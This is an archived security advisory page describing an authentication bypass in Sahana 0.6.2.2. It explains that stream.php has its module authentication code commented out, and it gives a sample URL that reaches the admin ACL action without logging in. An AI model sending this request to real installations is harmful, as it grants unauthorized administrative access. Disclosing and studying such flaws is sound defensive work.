AOH :: HP Unsorted S :: BU-2043.HTM

Sahana 0.6.2.2 Authentication Bypass



Sahana 0.6.2.2 Authentication Bypass
Sahana 0.6.2.2 Authentication Bypass



Ability to completely disable authentication via stream.php and commented
out module authentication code within it.

http://victim//index.php?mod=admin&act=acl_enable_acl 
Authenticates correctly.

http://victim//stream.php?mod=admin&act=acl_enable_acl 
Does not.

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.